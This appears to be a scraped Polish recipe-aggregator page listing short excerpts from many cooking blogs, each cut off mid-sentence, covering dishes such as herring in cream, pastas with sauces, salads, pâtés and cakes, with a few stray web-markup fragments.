Preserver” Na koniec książka po angielsku, ale dość łatwo dostępna w Polsce. Napisała ją Kylee Newton, która ma firmę w Londynie, gdzie można kupić wytwarzane przez nią pikle, sosy, mieszanki warzywne, dżemy i octy. Jej książka, której spora część dotyczy właśnie fermentacji, powstała jako antidotum na wszechobecne marnowanie żywności. Przetwory umożliwiają nam przecież nie tylko rozwijanie własnej kreatywności przez

Ugotowane pozamiatane
Śledzie w śmietanie ( wersja I ) 387

drobną kostkę. Śledzie po osuszeniu kroimy w paski. Do naczynia dodajemy odciśniętą cebulkę oraz pokrojone ogórki. Dodajemy śmietanę, majonez, koperek ( wedle uznania ). Doprawiamy wstępnie solą oraz pieprzem. Gdy sos wymieszany i gotowy dodajemy śledzie i całość dokładnie mieszamy. Doprawiamy solą oraz pieprzem wedle uznania. Gdy Całość przekładamy do szklanego naczynia. Zostawiamy w lodówce na 2 dni aby wszystkie smaki się

Sprawdzone przepisy kulinarne
Makaron z mascarpone i wędzonym łososiem 158

Podgrzać w rondelku pomidory, dodać ser mascarpone i dokładnie wymieszać. • Dodać zmiażdzony ząbek czosnku i resztę przypraw, doprawić do smaku. • Ugotowany makaron wsypać do sosu, dokładnie wymieszać. • Rozłożyć na talerze. Na wierzchu ułożyć łososia pokrojonego w paski

To co kocham
Spaghetti z bobem i zielonym groszkiem 163

skóry bób. • Poddusić ok. 8 minut. • Na koniec dodać pokrojone na połówki pomidorki koktajlowe i gotować ok. 3 minut. • Ugotowany makaron dodać do sosu na patelnię, przemieszać i doprawić. • Wyłożyć na talerz, posypać grubo startym parmezanem i udekorować rukolą. Danie pochodzi z warsztatów kulinarnych Polska Gotuje – Makarony

To co kocham
Kurczak w sosie paprykowo-cebulowym 153

paprykę i gotować do miękkości – ok. 8 minut. • Gorącą zalewą zalać usmażonego kurczaka. • Odstawić na 1-2 dni do lodówki, aż kurczak zamarynuje się sosem paprykowym. • Smakuje na ciepło i na zimno. Zalewę w sezonie paprykowym można zapasteryzować w słoikach

To co kocham
Ser Brie z malinami 161

folii aluminiowej pozostawiony skórką do dołu. • Wstawić do piekarnika nagrzanego do 200 st.C na 2 minuty. • Nałożyć lekko rozpuszczony ser do 4 pucharków, polać sosem malinowym, udekorować całymi malinami i posypać odrobiną pieprzu

To co kocham
Makaron cesarecce z ragout mięsno-warzywnym 165

podsmażyć razem z warzywami. • Całość podlać białym winem, odparować alkohol i dodać pomidory. • Podlać wodą i poddusić ok. 10 minut. • Ugotowany makaron dodać do przygotowanego sosu ragout i wymieszać. • Wyłożyć na talerz, posypać startym parmezanem. Danie pochodzi z warsztatów organizowanych przez portal Polska Gotuje

To co kocham
Kolorowy makaron ze szpinakiem 156

makaron, barwiony naturalnie podarowali nam przyjaciele z Krakowa, a przywieźli go prosto z Sycylii. Długo się zastanawiałam, jak go podać, bo najlepiej wygląda bez żadnych dodatków. Sos serowy ze szpinakiem nie popsuł jego urody i doskonale się komponował smakowo. Składniki: • 500 g makaronu kolorowego • 500 g sera mascarpone • 50 g sera żółtego • 1/2 opakowania szpinaku

To co kocham
Makaron linguine z brokułami 165

oliwę, podsmażyć pokrojony w drobną kosteczkę czosnek i anchois. • Dodać brokuły i gotować ok. 4 minut, doprawić. • Na patelnię wrzucić ugotowany makaron, wymieszać z sosem. • Wyłożyć na liście sałaty radicchio, posypać startym parmezanem. Przepis ten pochodzi z warsztatów kulinarnych organizowanych przez portal Polska Gotuje – Makarony

To co kocham
Udko kurczaka w sosie curry 137

Już zapachniało wiosną, a tu znowu śnieg i zimno. Proponuję więc smacznego i rozgrzewającągo kurczaka w sosie curry z ananasem i morelami podanego z ryżem. Składniki na 2 porcje: • 2 udka kurczaka • 2 szalotki • 4 kółka ananasa • 8 sztuk moreli suszonych • 3/4 szklanki bulionu warzywnego • 3 łyżeczki czerwonej pasty curry • 1 puszka mleka

To co kocham
Makaron szpinakowy z sosem serowo-pieczarkowym 149

Wrzucić czosnek, przesmażyć z pieczarkami, doprawić pieprzem i solą. • Dodać ser mascarpone, mieszać aż się rozpuści, dodać pomidory i przyprawy. • Po zagotowaniu wrzucić do sosu makaron i przemieszać. • Podawać posypany serem startym na tarce

To co kocham
Filet barramundi w sosie curry 143

pestek. • Na koniec wrzucić filety pokrojone na 3 części i gotować 3 minuty. • Dodać pokrojoną dymkę i kolendrę. • Podawać filet baramundi w sosie z ryżem. Danie pochodzi z warsztatów AEP Makro Kuchnia Międzynarodowa – Kuchnia orientalna. Można ją kupić między innymi w Makro i Tesco

To co kocham
Sałatka jajeczna z tuńczykiem 172

majonez to cała tajemnica jej wyśmienitego smaku. Dodatek tuńczyka sprawia, że na Wigilię również można ją podać. Składniki: • 5 jajek • 1 puszka tuńczyka w sosie własnym • 5 ogórków konserwowych • 150 g sera żółtego • 8 łyżek majonezu • sól do smaku Wykonanie: • Jajka ugotować na twardo, obrać, przekroić i oddzielić białka od żółtek

To co kocham
Jeleń w cieście z konfiturą z cebuli 157

mieszając. • Dodać ocet balsamiczny, sól, pieprz. • Kurki obgotować w osolonej wodzie. • Obsmażyć na maśle szalotki i czosnek posiekane w kostkę, dodać grzyby, zalać śmietaną. • Odparować sos, doprawić i wsypać natkę pietruszki. • Filety z jelenia obsmażyć z każdej strony bez tłuszczu na patelni. • Ciasto francuskie pokroić na 4 części, 2 mniejsze

To co kocham
Smalec domowy 4-smakowy 143

tymianku suszonego Cebulowy • 1 duża cebula • 2 liście laurowe • 3 łyżki czubate posiekanych pistacji • 1/2 łyżeczki rozmarynu suszonego Czosnkowy • 4 ząbki czosnku • 4 łyżki czubate pestek dynii • 1 łyżka sosu sojowego Wykonanie: • Słoninę pokroić w paski i przepuścić przez maszynkę do mielenia mięsa o grubych oczkach. • Wstawić do garnka i smażyć aż się rozpuści

To co kocham
Jajka faszerowane Trio 140

pieprz do smaku Masa serowa • 2 łyżki startego sera żółtego • 1 łyżka majonezu • 1 ząbek czosnku • 1 łyżka posiekanych orzechów włoskich Masa tuńczykowa • 2 łyżki tuńczyka w sosie własnym • 1 łyżeczka majonezu • rzodkiewka i zielona pietruszka do dekoracji Masa chrzanowa • gotowane żółtka z 2 jajek • 2 łyżki majonezu • 2 łyżeczki chrzanu • 1 łyżeczka koncentratu

To co kocham
Sałatka meksykańska 305

dołu: 1. Pokrojona sałata lodowa 2. Pokrojone pomidory posypane pieprzem 3. Filet z kurczaka polany keczupem 4. Fasola czerwona 5. Ogórek konserwowy pokrojony w kostkę 6. Sos jogurtowy 7. Pokruszone tortille w środku a wokół naczynia korona z trójkątów. Sałatkę trzymamy w lodówce kilka godzin, aby się przegryzła, a tortille wykładamy

To co kocham
Schab pieczony 143

zimnego piekarnika, nastawić na 180 st.C i piec przez 1,5 godziny. • Zostawić do wystygnięcia w folii lub naczyniu. Nam najlepiej smakuje z sosem jabłkowym. Przepis jutro na blogu

To co kocham
Mus jabłkowy do schabu 147

Wczoraj był schab pieczony, a dzisiaj mus jabłkowy, który idealnie do niego pasuje. Robię go zawsze wtedy, kiedy piekę schab, ale z

To co kocham
Pasta z tuńczyka do chleba 154

najczęściej robiona z dodatkiem śmietany. Ja dodaję majonez i sok z cytryny, co zaostrza jej smak. Składniki: • 250 g białego twarożku • 1 puszka tuńczyka w sosie własnym • 2 łyżki majonezu • 1 łyżka soku z cytryny • sól, pieprz do smaku Wykonanie: • Tuńczyka osączyć z zalewy i wymieszać z twarożkiem i majonezem

To co kocham
Szaszłyki z kurczaka, cukinii i papryki 185

oliwą. • Położyć na tacce aluminiowej na rozgrzany grill i usmażyć z każdej strony. Idealnie pasuje do szaszłyków sałatka z młodych ziemniaków i  sos tzatziki. {jcomments

To co kocham
Panierowany żółty ser 129

danie bardzo popularne u naszych południowych sąsiadów. Podawany jest tam z frytkami, ale wtedy wychodzi bardzo tuczące danie. My jedliśmy z lekkim sosem czosnkowym na jogurcie i zieloną sałatą. Idealnie pasują tutaj również tzatziki. Składniki: • 4 plastry sera żółtego salami, ok. 1 cm grubości • 1 jajko • bułka tarta do panierowania • sól, pieprz

To co kocham
Sałatka Caprese 203

Caprese to sałatka pochodząca z południowych Włoch. Przyrządza się ją z pokrojonych w plastry pomidorów oraz mozzarelli przełożonych na przemian, polanych sosem z oliwy z oliwek, posypanych grubo zmielonym pieprzem i udekorowanych liśćmi bazylii. Te trzy kolory – zielony, biały i czerwony, mają odzwierciedlać włoską flagę. Bardzo popularna

To co kocham
Bakłażany w parmezanowej panierce 151

powierzchnia osuszyła się. • Następnie plastry maczać z obu stron w jajku z serem. • Smażyć z obu stron na złoty kolor. • Podawać z sosem czosnkowym. Podczas smażenia bakłażanów należy pamiętać o jednej ważnej rzeczy – ponieważ lubią one pić olej, trzeba smażyć je na minimalnej jego ilości. W przeciwnym razie wciągną tyle tłuszczu

To co kocham
Surówka z marchwi i buraka 151

wyjątkowy smak. Udane połączenie marchewki, buraka i orzechów włoskich to pomysł Ewy Wachowicz. Zdecydowanie polecam, my jedliśmy ją jako dodatek do  schabu w sosie pieczarkowo-jabłkowym. Składniki: • 1 kg marchwi • 1/2 kg surowego buraka • 1 jabłko • 1/2 szklanki orzechów włoskich • 1 ząbek czosnku • sól, cukier do smaku • 3 łyżki majonezu • 3 łyżki śmietany

To co kocham
Grecki sernik jogurtowy 147

st.C przez 40 minut. • Po wystygnięciu wstawić do lodówki i kroić dopiero po kilku godzinach uprzednio posypując cukrem pudrem. Można podawać z sosem czekoladowym

To co kocham
Rolada z indyka z wkładką buraczano-orzechową 171

woli przyprawy. Upiekłam ciasto buraczane na bazie jajek, orzechów i buraczków, które stanowiło farsz/wkładkę do rolady z indyka. Jedliśmy tę roladę z sosem chrzanowym i puree ziemniaczanym. Nam smakowało, ale czy jury się zachwyci? Zobaczymy. Składniki: • 800 g piersi z indyka • 400 g ugotowanych buraków • 2 jajka • 100 g zmielonych orzechów

To co kocham
Figa z makiem i makaronem 154

ćwiartki figi. • Wyjąć figi i dodać do masła mak i śmietankę, dokładnie wymieszać i zagotować. Na koniec dodać miód. • Makaron wymieszać z sosem makowym i figami

To co kocham
Kurczak z owocami suszonymi 135

kurczak jest wyśmienity! Mięso jest kruche a sos aromatyczny, orzeźwiający i gęsty od suszonych owoców. Ja dodałam morele, śliwki i żurawinę, ale robiłam też z rodzynkami i gruszkami. Dodatek ziół prowansalskich nadaje tej potrawie charakteru, a ilość, jaką należy użyć, zależy od indywidualnych upodobań, ja bardzo lubię i daję

To co kocham
Gołąbki z mięsem i ryżem 203

mięsa mielonego i ryżu. Moją modyfikacją jest przysmażenie gołąbków przed zapieczeniem, kapusta jest wtedy delikatniejsza, a gołąbki zyskują ładny złoty kolor. Najlepiej smakują z sosem pomidorowym. Składniki: • 1 kg mięsa mielonego z indyka • 2 cebule • 2 szklanki ryżu • 2 łyżki posiekanej natki pietruszki • 3 ząbki czosnku • sól, pieprz do smaku • 1 duża główka kapusty

To co kocham
Pstrągi pieczone w całości 163

było nadzwyczaj łatwe. Oj, pojawią się jeszcze nieraz w mojej kuchni. Świetnym uzupełnieniem smakowym i kolorystycznym była sałatka z rukoli i pomidorków koktajlowych w sosie vinegrete. Skłdniki na 4 porcje: • 4 średnie pstrągi (ok. 250 g każdy) • 1 cytryna • pęczek koperku • 8 małych ząbków czosnku • 50 g masła • sól, pieprz biały do smaku

To co kocham
Zapiekanka makaronowa z kruszonką 180

paski suszone pomidory. Doprawić solą, pieprzem i tymiankiem. • Dodać pokrojone w kostkę filety z kurczaka i gotować wszystko razem 7 minut. • Wrzucić do sosu ser żółty starty na tarce, makaron, brokuła i wszystko wymieszać. Całość przełożyć do naczynia żaroodpornego wysmarowanego masłem lub olejem. • Bułkę tartą wymieszać z roztopionym masłem

To co kocham
Pasztet z czerwonej fasoli 160

ilości białka. Składniki: • 500 g fasoli czerwonej • 250 g mięsa wołowego • 1 szklanka śliwek suszonych • 5 jajek • 2 cebule • 1 mały por • 3 marchewki • 1 bułka kajzerka • 3 łyżki sosu sojowego • sól, pieprz do smaku • 1 łyżeczka ziół prowansalskich i majeranku • olej i otręby pszenne do blaszek Wykonanie: • Fasolę namoczyć w wodzie, najlepiej

To co kocham
Sałatka ryżowa z awokado i jajkiem 254

groszkiem odcedzić. • Awokado obrać ze skórki, ugnieść widelcem na miazgę i wymieszać z sokiem cytryny i majonezem. • Wymieszać razem ryż, groszek i sos z awokado, doprawić solą, pieprzem i posiekaną bazylią. • Jajka ugotować na twardo, obrać i pokroić na ćwiartki. • Sałatkę wyłożyć na półmisek, na wierzchu ułożyć

To co kocham
Szynka domowa 158

polepszacze. Jest szara, krucha i aromatyczna. Jeśli znudzi się na zimno, to po podgrzaniu idealnie nadaje się na obiad jako sztuka mięsa w dowolnym sosie. Postanowiłam nie kupować już wędlin, tylko piec samą szynkę, schab, polędwicę, boczek czy karkówkę. Nie bójcie się tłuszczu zwierzęcego w boczku czy karkówce. Badania udowadniają, że teorię miażdżycy

To co kocham
Beza z sosem cytrynowym i bitą śmietaną 163

krem cytrynowy, trochę zostawić do dekoracji. Krem ma wejść do dołka utworzonego podczas modelowania białek przed pieczeniem. • Na wierzch wyłożyć bitą śmietanę, którą polać resztką sosu cytrynowego i posypać cukierkami

To co kocham
Klops gryczano-pieczarkowy 146

pieczarkowy, to zdrowie na talerzu, szczególnie dla kogoś, kto lubi kaszę gryczaną i pieczarki. Może być samodzielnym daniem obiadowym na gorąco z dodatkiem ulubionego sosu, np. pomidorowego. Może być również smaczną kolacją na zimno z ogórkiem konserwowym czy kiszonym, albo przekąską do pracy na drugie śniadanie lub podwieczorek. Ostatnio nasza

To co kocham
Chutney z rabarbaru, moreli i śliwek suszonych 167

Chutney (czyt. czatnej) to gęsty sos wywodzący się z  kuchni indyjskiej , używany do potraw mięsnych i wegetariańskich. Sporządzany jest z owoców i warzyw, z rodzynkami, czosnkiem, cebulą, musztardą i octem. W smaku może się wahać od bardzo pikantnego do łagodnego, wręcz słodkiego, wszystko w zależności

To co kocham
Sałata lodowa z kiwi i winogronem 200

nową jakość i smak. Taka sałatka idealnie pasuje do kotletów schabowych, mielonych  i puree ziemniaczanego. Składniki: • sałata lodowa • kiść zielonych winogron bezpestkowych • 4 sztuki kiwi Sos • 3/4 szklanki kwaśnej śmietany • sok z 1/2 cytryny • sól, pieprz do smaku • 1 łyżeczka cukru Wykonanie: • Sałatę lodową pokroić na małe kawałki. • Winogrona umyć i posypać

To co kocham
Pstrąg z sałatką z bobu i pomidorków 194

jego smaku albo nie chciałam poznać, to mogłabym jeść go codziennie i w każdej postaci. Dzisiaj zrobiłam sałatkę z bobu z pomidorkami w sosie winegret. Mdły bób nabrał smaku i aromatu, a w towarzystwie pstrąga smakuje wyśmienicie. Składniki: • 2 filety z pstrąga • sól, pieprz biały • sok z 1/2 cytryny

To co kocham
Zielona sałata z cykorią i serem feta 168

Późnym latem wiosenno-letnie kolory na talerzu napawają bardzo optymistycznie. Zielona sałata, cykoria i ogórek z sosem śmietanowym i ziołowym serem to udane połączenie smaków. Lekka, orzeźwiająca, kwaskowa sałatka z nutką cykorianej goryczy może być dodatkiem do wykwintnego obiadu lub kolacją z pajdą chleba ziarnistego z masłem. Pycha! Składniki

To co kocham
Malinowy ocet 164

niezwykle proste, wystarczy tylko wymieszać dwa składniki i od czasu do czasu potrząsnąć słoikiem, po czym zlać i delektować się jego smakiem w różnych sosach vinegret. Taki ocet może stać spokojnie do następnego sezonu malinowego. Składniki: • 1 szklanka malin • 1 szklanka octu winnego białego Wykonanie: • Maliny zalać octem i szczelnie

To co kocham
Muffinki szarlotkowe 200

papilotkach. Niesamowicie kruche, kwaskowe, cynamonowe i już poporcjowane. Chyba smakowały, bo rozeszły się błyskawicznie. Jedliśmy je bez dodatków, ale z kulką lodów waniliowych i sosem czekoladowym będą jeszcze lepsze. Składniki na 20 babeczek: Ciasto kruche • 3 szklanki  mąki pszennej • 250 g masła • 5 żółtek • 2 cukry waniliowe • 1/2 łyżeczki proszku do pieczenia Jabłka

To co kocham
Puree ziemniaczane z makiem 144

dodatek do obiadu w postaci kulek wykonanych za pomocą łyżki do lodów lub zjeść ze zsiadłym mlekiem. Można też posypać suszonymi ziołami lub polać sosem. Składniki: • 1 kg ziemniaków • 2 łyżki suchego maku • 100 g masła • 2 łyżki kwaśnej śmietany • sól do smaku Wykonanie: • Ziemniaki obrać i ugotować w osolonej wodzie, odcedzić

To co kocham
Pasztet z kaczki z pistacjami 173

upiekłam i jadłam, a piekę dużo różnorodnych pasztetów. Jest bardzo miękki, aromatyczny i chrupiący dzięki orzechom. Ładnie się kroi ukazując zielonkawe pistacje. Najlepiej smakował z sosem żurawinowym i był niekwestionowanym królem wszystkich świątecznych wędlin, bo wyszedł jako pierwszy. Składniki: • 1 gotowana kaczka z rosołu • warzywa z rosołu – 3 marchewki, pietruszka, kawałek selera

To co kocham
Ryż z buraczkiem 209

ryżu do obiadu. Ryż z gotowanym buraczkiem i natką pietruszki ożywi każdy talerz obiadowy. Idealnie pasuje do gęstego gulaszu i wszelkich mięs w sosie. Taki czerwony ryż pięknie wygląda podany na osobnym półmisku w formie kopczyków nakładanych łyżką do lodów. Smakuje na ciepło, ale po przestudzeniu jest równie smaczny

To co kocham
Żeberka w kawowej marynacie 181

nikt nie odgadnie składu marynaty. Składniki: • 1 kg żeberek Marynata • 1 czubata łyżka kawy mielonej • 5 łyżek keczupu • 1 łyżka miodu • 2 łyżki octu winnego • 5 łyżek sosu sojowego • 1 łyżeczka pieprzu • 2 ząbki czosnku przeciśniętego przez praskę Wykonanie: • Wszystkie składniki marynaty połączyć razem i podgrzać do rozpuszczenia miodu. • Żeberka pokroić tak, aby powstały porcyjki z jedną

To co kocham
Surówka z rzodkwi i ogórka 169

obiedzie było ostatnio troszkę lata na przedwiośniu, a to za sprawą pysznej surówki z białej rzodkwi, ogórka i koperku w delikatnym jogurtowym sosie. Ta surówka zdecydowanie pachnie latem i świeżymi warzywami. Polecam, szczególnie gdy tęsknicie za latem, jak ja. Składniki: • 1 biała rzodkiew • 1 długi ogórek zielony • sól, pieprz

To co kocham
Sałatka z jajkami i tuńczykiem na krakersach 171

dość szybko znika ze stołu. Składniki: • 36 sztuk krakersów • 6 jajek ugotowanych na twardo • 100 g sera żółtego • 8 łyżek majonezu • 2 puszki tuńczyka w sosie własnym • 2 łyżki keczupu • sól, pieprz do smaku Dekoracja • 5 plastrów sera białego Capresi • kawałek papryki • zielenina dowolna Wykonanie: • Na płaskim talerzu lub tacy rozłożyć obok siebie 12 sztuk

To co kocham
Placuszki ziemniaczano-serowe 167

recykling puree ziemniaczanego pozostałego z obiadu. Są bardzo smaczną alterantywą dla placków ziemniaczanych. Mnie najlepiej smakowały z gęstym jogurtem greckim, a rodzinka jadła z  aksamitnym sosem pomidorowo-serowym. Składniki: • 2 szklanki puree ziemniaczanego • 1/2 szklanki groszku zielonego • 250 g sera białego kanapkowego • 3 łyżki mąki ziemniaczanej • 1 łyżka posiekanego koperku • sól, pieprz do smaku • olej

To co kocham
Gofry belgijskie gryczane 195

trakcie pieczenia się karmelizuje, pozostawiając ciasto chrupiące, słodkie i karmelowe. W środku gofry pozostają miękkie, a na zewnątrz chrupiące. Jadłam lekko posypane cynamonem z dodatkiem sosu czekoladowego, ale wyśmienicie smakują same, bo aromat wanilii i słodkość cukru są już wystarczające. Mają być słodkie, ale dla mnie były zbyt słodkie

To co kocham
Rolada z indyka faszerowana brokułem 356

keksówki. • Piec w temp. 200 st.C przez 40 minut. • Po upieczeniu zdjąć obie folie i pokroić roladę w plastry. Rolada najlepiej smakuje z  sosem aksamitnym pomidorowym

To co kocham
Naleśniki z serem i truskawkami 149

Tradycyjne naleśniki z białym serem , tym razem z rodzynkami i z truskawkami. Truskawki są rozgniecione widelcem, ale można zmiksować je i wtedy powstanie sos do naleśników. Takie naleśniki najlepiej smakują o tej porze roku w sezonie truskawkowym. Składniki na 20 naleśników: • olej do smażenia naleśników • masło do odsmażenia

To co kocham
Roladki z kurczaka ze szpinakiem 185

dodatkiem szpinaku może być podawana na ciepło do obiadu lub na zimno jako przekąska. Mnie osobiście bardziej smakuje na zimno z dowolnym sosem albo z żurawiną. Bardzo ładnie prezentuje się na talerzu, wyśmienicie smakuje i delikatnie pachnie czosnkiem. Polecam na imprezy, bo można przygotować tydzień wcześniej, potem zamrozić i wyjąć

To co kocham
Smażona pierś kaczki z owocami 186

ósemki i wyciąć gniazda nasienne. • Jabłka wrzucić na tłuszcz po kaczce, lekko podsmażyć, dodać maliny i borówki. Chwilę poddusić, aż utworzy się owocowy sos

To co kocham
Schab w czapie z mielonego mięsa i pieczarek 181

Schab pieczony w czapie mielonego mięsa z pieczarkami pięknie prezentuje się po przekrojeniu, równocześnie pozostając smacznym. A smakuje i na ciepło w towarzystwie sosu pieczarkowego, i na zimno z żurawiną. To niekwestionowana ozdoba świątecznego obiadu. Składniki: • kawałek schabu, ok. 1 kg Farsz • 500 g mięsa mielonego z indyka

To co kocham
Sałatka ziemniaczana z jajkiem i jabłkiem 182

Sałatka na przednówku czyli czym spiżarnia i lodówka bogata. Tak więc ziemniaki, jabłka i jajka w towarzystwie sosu chrzanowego wylądowały w salaterce. Zanim nowalijki zagoszczą w kuchni na dobre, polecam więc te popularne produkty. Sałatka jest sycąca, orzeźwiająca i ogólnie smakowita. Składniki: • 5 ziemniaków • 8 jajek ugotowanych na twardo • 5 jabłek

To co kocham
Pasta curry zielone 176

kuchni tajskiej. Taką pastę przysmażoną na gorącym tłuszczu, aby wyciągnąć wszystkie smaki, można dodać do zupy dyniowej, do kurczaka, ryżu, makaronu, warzyw, do sosów. Pachnie bardzo intensywnie nawet po miesiącu leżakowania w lodówce. Składniki: – 3 zielone papryki słodkie – 10 małych zielonych papryczek ostrych – średnie kłącze imbiru – 2 łodygi trawy cytrynowej

To co kocham
SAŁATKA Z TUŃCZYKIEM NA KRAKERSACH 218

przygotowania. Moim zdaniem jak na sałatkę wygląda bardzo efektownie. Pozwoli zaskoczyć gości, gdyż na pierwszy rzut oka może być pomylona z ciastem. SKŁADNIKI: 24 krakersy 1 puszka tuńczyka w sosie własnym 1/2 czerwonej cebuli 1 ogórek korniszon 60 g żółtego sera 2 jajka ugotowane na twardo 4 łyżki majonezu posiekany szczypiorek sól pieprz papryka mielona A jak to zrobić

Kuchnia w opałach
Pierogi z grzybami leśnymi. 193

kładziemy farsz, zaklejamy robimy falbankę lub inny wzór,  układamy pojedynczo na tacach -zamrażamy, przed podaniem gotujemy około 5-6 min. od wypłynięcia, podajemy smażone na masełku lub z sosem grzybowym

Kuchnia Beaty
Pasta tahini 209

zbyt sucha, to miksując można dodać 1 – 2 łyżki oleju sezamowego. Gotową pastę przekładamy do słoiczka i zamykamy. Nie wymaga przechowywania w lodówce. Pasta tahini może być używana do sosów, ciast, deserów, kanapek… i nie tylko. Sezam jest także głównym składnikiem słodkości. Te najbardziej znane to chałwa i sezamki. Ponieważ sezam ma niski indeks glikemiczny (IG = 35), bez obaw mogą

mojewypiekiinietylko
PIECZEŃ Z KURCZAKIEM 201

Pieczeń doskonała zarówno na zimno na kanapki, jak również na ciepło na obiad, wystarczy pokroić w grube plastry, polać sosem , np. pieczarkowym i podać ziemniaczki, pychotka!!! Do pieczenia użyłam form od firmy  PAPILART , które od wewnątrz pokryte są silikonową powłoką. SKŁADNIKI 0,5 kg mięsa mielonego, 15 dag polędwiczek z kurczaka, 2 jajka, 3 łyżki bułki tartej 1 ząbek

słodki bratek
Roladki z szynki ze śliwką i pieczonym boczkiem 298

dodatkowo papryką. Na rozgrzanym oleju obsmażamy roladki z każdej strony. Podlewamy bulionem lub wodą. Dusimy pod przykryciem do miękkości. Na koniec dodajemy śmietanę ( ok. 100 ml ). Jeżeli chcemy zagęścić sos możemy do śmietany około 2 łyżeczek mąki i zagotowujemy. Podajemy z ziemniakami lub kaszą. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject

Smaki Ewy
“Słoiki na słodko i na słono” jako pomysł na klub obiadowy w pracy 233

gdzie zamieniając 1 lub 2 składniki uzyskamy zupełnie inny efekt. Ważne jest tylko, żeby gotować składniki al dente, bo będą kilka godzin kisić się w słoiku i żeby ewentualne sosy były na dnie słoika, tak żeby nie moczyć w nich sałaty czy bardziej delikatnych składników. Jaki obiady chciałabym zabrać ze sobą do biura? Dobrze wygląda słoik po kreolsku z ryżem

Ugotowane pozamiatane
Podsumowanie akcji "Grzyby i warzywa jesienne. 2016" 188

kabaczkiem Krem dyniowo-marchewkowy Krem dyniowy Kiszonka z kalafiora i marchwi Zupa kalafiorowa z serem Rozgrzewająca zupa krem z pieczonych buraków / Warming cream of beetroot soup Cielęcina w Sosie Kurowym Zupa z cukinii

Weekendy w domu i ogrodzie
Tort orzechowo-karmelowy 175

rozpuścicie do płynnego brązowego karmelu - ale nie spalonego, dodajemy masło (roztopione łatwiej się łączy z cukrem), następnie dodajemy 1 śmietankę 36% i powoli mieszamy aż połączy się w jednolity sos karmelowy.Dodajemy do niego 2 garście orzechów włoskich i mieszamy, odstawiamy do wystudzenia. Resztę orzechów trzeba zblendować na bardzo drobny miał. Pozostałą śmietanę ubijamy na sztywno z dwiema łyżkami cukru

Kuba Gotuje
Libański kuskus z marchewką i ciecierzycą 265

ciecierzycę i drobno posiekaną natkę pietruszki. Całość dokładnie wymieszałem. Gotową kaszę nałożyłem do miseczek, a na niej wyjęte z piekarnika marchewki, które skropiłem znajdującym się na dnie naczynia żaroodpornego sosem. Marchewki powinny zrobić się niemal całkowicie miękkie i lekko przyrumienione, a przy tym bardzo słodkie. Można piec je krócej, aby zachowały swoją chrupkość. Cale danie ma smak pikantno - słodki. Doskonale

Wyprawy kulinarne
Farfalle ze słonecznikowym pesto 139

Makaron gotujemy wg przepisu zawartego na opakowaniu. Odcedzamy. W tym czasie przygotowujemy pesto. Oregano, pestki, ser, olej miksujemy na gładko, do smaku doprawiamy pieprzem. Gorący makaron dokładnie łączymy z sosem. Podajemy od razu. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding

R'n'G Kitchen
Kurczak ziołowy na warzywach z pęczakiem 191

smarujemy masłem i pieczemy na złoty kolor jeszcze ok. 15 min. Kaszę jęczmienną pęczak gotujemy w wodzie bez soli i odcedzamy. Kurczaka wyciągamy, do pojemniczka zlewany część powstałego sosu, a do upieczonych (powinny wyjść al dente) dodajemy pęczak, mieszamy i wstawiamy na kilka min do piekarnika. Kurczaka podajemy z kaszą jęczmienną pęczak z warzywami. Smacznego

Moniki Smakołyki
Zapiekanka ziemniaczana z ziemniakami i kiełbasą 181

cebulę i smażyć aż cebula zmięknie. Formę do zapiekanki wysmarować masłem, rozłożyć połowę ziemniaków. Obsypać ziołami prowansalskimi i obsypać połową sera. Rozłożyć obgotowany brokuł, resztę ziemniaków, pozostały ser. Przygotowanie sosu – śmietanę wymieszać z jajkami. Doprawić odrobiną soli i pieprzu. Wylać wszystko na zapiekankę. Pieczenie – wstawić do nagrzanego piekarnika do 200 C i piec 30 minut. Nie przykrywać !!! Smacznego

Kuchnia Pokoleń
Tort biała czekolada z truskawką 367

żelatyny. Rozpuszczoną żelatynę powoli wmieszać do owoców, uważając, by nie wytworzyły się grudki (najlepiej najpierw ją rozrobić z sokiem z owców by nie była tak gęsta). Całość schłodzić, by sos owocowy zgęstniał. Frużelina powinna mieć konsystencję żelu-kisielu. Nasączenie i wykonanie tortu Wycisnąć sok z cytryny i pomarańczy. Dodać wodę i wymieszać. Biszkopt podzielić na 3 części (blaty). Pierwszy

Wypieki i Rumieńce
CIASTO MARCHEWKOWE Z ORZECHAMI – najlepsze! 199

marchewkowe, ciast kruchych, półkruchych i parzonych. Nadaje się do naleśników, omletów, makaronów oraz różnego rodzaju klusek , knedli i kopytek! Świetnie sprawdzi się również jako zagęszczacz do zup i sosów

Ostra na Słodko
Błyskawiczny piątek - Łosoś na rukoli z cytrusowym dressingiem 205

Rybka w piątek to idealna kolacja. Ja polecam łososia na rukoli z pysznym sosem. Oczywiście danie błyskawiczne ! Niebo w gębie! Smacznego!  Składniki : * 200-300g świeżego fileta z łososia * łyżka oliwy z oliwek * sól, pieprz * łyżka soku z cytryny  * garść rukoli * łyżka oliwy z oliwek * łyżka soku z cytryny * łyżka soku z limonki  * łyżka soku z pomarańczy

Magiczne Życie Marty
Musztarda i majonez w jednej stały lodówce… 143

Musztarda i keczup to must have każdej lodówki. Nie wyobrażamy bez nich kanapek, mięs czy przystawek, stosuje się je również z powodzeniem jako dodatek do wielu

COOKMAGAZINE
Szybki makaron z papryką, cukinią w pomidorach z serem Pecorino Romano DOP 170

wrzuć do papryki. Podsmaż. Zalej sokiem z pomidorów, niedużo. Dosmacz solą, możesz pieprzem. Gotuj chwilkę, dodaj oliwy z oliwek. Ugotowany makaron odcedź i wrzuć na patelnię. Wymieszaj z sosem , posyp jeszcze grubo serem. Przed podaniem trochę zieleniny i ser i gotowe! Szybko,pysznie i niezwykle prosto! Smacznego

Z Kuchni Do Kuchni
bandurjanki – bieszczadzkie placki ziemniaczane z twarogiem 213

ścieramy na tarce. Dodajemy jajko, mąkę oraz pokruszony ser. Doprawiamy do smaku. Wszystko mieszamy. Na rozgrzanej patelni z tłuszczem smażymy porcjami nakładanymi łyżą, formując placuszki. Podajemy ze śmietaną lub sosem czosnkowym

Domowy Smak Jedzenia
Coleslaw i "Prawie siostry" 196

